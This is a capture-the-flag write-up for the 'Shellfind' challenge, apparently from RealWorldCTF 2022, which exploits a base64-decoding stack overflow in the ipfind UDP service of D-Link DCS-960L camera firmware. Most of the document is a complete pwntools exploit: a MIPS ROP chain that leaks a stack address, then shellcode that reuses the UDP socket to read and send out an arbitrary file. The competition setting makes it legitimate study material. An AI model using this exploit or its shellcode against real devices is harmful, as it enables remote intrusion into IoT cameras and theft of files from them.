Tags: iot pwn 

Rating:

Shellfind

was a pwn challenge from RealWorldCTF 2022 edition

The goal is to exploit a buffer overflow in an udp service on a dlink DCS-960L camera.

We were given only the firmware, and the hint that the service to exploit was running on an UDP port..

so I start from firmware, extract it with binwalk..

and start to search which service was forwarded to us by the challenge on the udp port..

we find some candidates, ddp , ipfind, and start to reverse their protocol to obtain an answer from the udp port and confirm that it was this service..

we finally identify that ipfind was the service forwarded to us on the udp port.. (shellfind name was probably a hint)

we start to reverse it to find a vulnerability in it.

ipfind has two commands basically,one to write config values, and another one that return us config values.

We found a buffer overflow in the function sub_400F50(), a function that it called by the write config values command, and which decode base64 given password and group sent by us..

the function does not check for size of passed base64 string, and decode them directyly in a buffer on stack..

as we can send a packet of up to 0x800 bytes, we can easily overflow these two buffers.

The camera is running on a mips processor, and mips exploitation is not easy.

I finally succed in making a ROP to leak a stack value in .bss,

then to read another payload from the UDP socket, and overflow the buffers a second time..

but even with our leak , the aslr make the distance from our shellcode, and the leak moving a lot between run..

so resulting shellcode was unreliable, working only 1/10 times probably...

If I had more time, I will have go for a second run, leak other part of stack after the first leak, send another payload etc...

but in ctf condition you have to be quick.. so I decide that working 1/10 times was enough for succeeding...

so I did two shellcodes:

  • one, to list files via getdents and export the result via the already opened udp socket..to locate the flag on the remote filesystem

  • another one, to exfiltrate the flag file via the openened udp port too..

and that's all

Here is the exploit for exporting the file via udp

from pwn import *
import base64

context.update(arch="mips", endian='big', os="linux")

fd = 3

context.log_level = 'info'
# shellcode that reuse the udp socket to receive filename, open it, read it, and use sento on udp socket to exfiltrate it
shellc = asm ('''
   /* recvfrom */
    li $v0,4176
    li $a0, %d
    add $a1,$sp,-1024
    li $a2,0x100
    move $a3,$zero

    add $s0,$sp,-1048
    sw $s0,16($sp)
    add $s0,$sp,-1072
    sw $s0,20($sp)
    syscall 0x040405
    nop

    li $v0,4005
    add $a0,$sp,-1024
    move $a1,$zero
    syscall 0x040405
    nop

    add $a0,$zero,$v0
    add $a1,$sp,-16384
    li $a2,8192
    li $v0,4003
    syscall 0x040405
    nop
    add $a1,$sp,-16384
    add $a2,$zero,$v0

   /* sendto */
   li $v0,4180
   li $a0, 3
   move $a3,$zero
   add $s0,$sp,-1048
   sw $s0,16($sp)
   li  $s0,0x10
   sw $s0,20($sp)
   syscall 0x040405
   nop
''' % fd)

context.log_level = 'debug'

if args.REMOTE:
  p = connect('47.89.210.186', 57798)
  p.sendlineafter('now:\n', 'qwkQZgWBSaq3jepFDsHf2A==')
  p.recvuntil('port is : ', drop=True)
  port = int( p.recvuntil(' ', drop=True),10)
  print('waiting...')
  sleep(40)
  print('trying...')
else:
  port = 62721

if args.REMOTE:
  r = connect('47.89.210.186', port, typ="udp")
else:
  r = connect('127.0.0.1', port, typ="udp")
#  r = connect('47.89.210.186', 31761, typ="udp")

pkt = bytearray()
pkt += b'FIVI'
pkt += b'COCK'
# 8
pkt += b'\x0a'
# 9: opcode? 1 => read, 2 => write
pkt += b'\x01\x00'
# 11: idk
pkt += bytes(2)
# 13: ifaddr
pkt += bytes(4)
# 17: mac addr of device
pkt += b'\xff' * 6
# 23: no clue
pkt += bytes(2)
# 25: payload len?
pkt += bytes(4)
r.send(pkt)
resp = r.recvn(541)
remote_mac = resp[17:][:6]
remote_ifaddr = u32(resp[13:17], endian='big')
log.info('remote_mac: %s', remote_mac.hex())
log.info('remote_ifaddr: 0x%08x', remote_ifaddr)


pkt = bytearray()
pkt += b'FIVI'
pkt += b'COCK'
# 8
pkt += b'\x0a'
# 9: opcode? 1 => read, 2 => write
pkt += b'\x02\x00'
# 11: idk
pkt += bytes(2)
# 13: ifaddr
pkt += p32(remote_ifaddr, endian='big')
# 17: mac addr of device
pkt += remote_mac
# 23: no clue
pkt += bytes(2)
# 25: payload len?
pkt += p32(0x8E, endian='little')

'''
returning of sub_400f50
(dont forget in mips instruction after jr is executed too)

text:00401078                 move    $v0, $s0
.text:0040107C                 lw      $ra, 0x35C+var_s8($sp)
.text:00401080                 lw      $s1, 0x35C+var_s4($sp)
.text:00401084                 lw      $s0, 0x35C+var_s0($sp)
.text:00401088                 jr      $ra
.text:0040108C                 addiu   $sp, 0x368
'''


gadget1 = 0x0400F3C # set $a1
gadget2 = 0x04020B0 # move    $a0, $s0    
gadget3 = 0x00401078 # move $v0, $s0; lw $ra, 0x364($sp); lw $s1, 0x360($sp); lw $s0, 0x35c($sp); jr $ra; addiu $sp, $sp, 0x368;
gadget3b = 0x4010fc
gadget4 = 0x00400ca0 # lw $ra, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x20;
gadget5 = 0x00401720 # lw $s0, 0x48($sp); jr $ra; addiu $sp, $sp, 0x58;
syscall = 0x4001d8


payload1 = b'pipo'

payload2 = p32(0xdeadbeef)*145
payload2 += p32(3)      # $s0
payload2 += p32(0x413138)       # $s1 
payload2 += p32(0x4016ec)   # $ra
payload2 += p32(0)*4+p32(0x413170)+p32(0x10)+p32(0x41b030)
payload2 += p32(0)*11+p32(fd)+p32(1)+p32(1)+p32(gadget2)

payload2 += b'\x00'*0x7c + p32(0x413138 - 0x11)+p32(0)+p32(0x400f3c)

payload2 += b'\x00'*0x20+p32(0x413134)+p32(0x4016b4)

payload2 += p32(0)*4+p32(0x413170)+p32(0x10)+p32(0x41b030) +p32(0)*11+p32(0x413400)+p32(0x413400)+p32(0x413134)+p32(0x402410)

payload2 += p32(0)*4+p32(0x413170)+p32(0x10)+p32(0x41b030)


pkt += base64.b64encode(payload1).ljust(64,b'\x00')
pkt += base64.b64encode(payload2)

r.send(pkt)
buff = r.recv(0x1d)
print(hexdump(buff))

stack = u32(buff[0:4])
print('stack leak = '+hex(stack))

pkt = bytearray()
pkt += b'FIVI'
pkt += b'COCK'
# 8
pkt += b'\x0a'
# 9: opcode? 1 => read, 2 => write
pkt += b'\x02\x00'
# 11: idk
pkt += bytes(2)
# 13: ifaddr
pkt += p32(remote_ifaddr, endian='big')
# 17: mac addr of device
pkt += remote_mac
# 23: no clue
pkt += bytes(2)
# 25: payload len?
pkt += p32(0x8E, endian='little')

payload2 = p32(0xdeadbeef)*145
payload2 += p32(3)              # $s0
payload2 += p32(0x413138)               # $s1 
payload2 += p32( (stack - 0xe00) & 0xfffffff0)       # $ra
payload2 += p32(0)*128 + shellc

pkt += base64.b64encode(payload1).ljust(64,b'\x00')
pkt += base64.b64encode(payload2)


r.send(pkt)
sleep(0.2)
r.send('/firmadyne/flag\x00')
while True:
  print(r.recv())

r.interactive()

nobodyisnobody still pwning..

Original writeup (https://github.com/nobodyisnobody/write-ups/tree/main/RealWorldCTF.2022/pwn/Shellfind).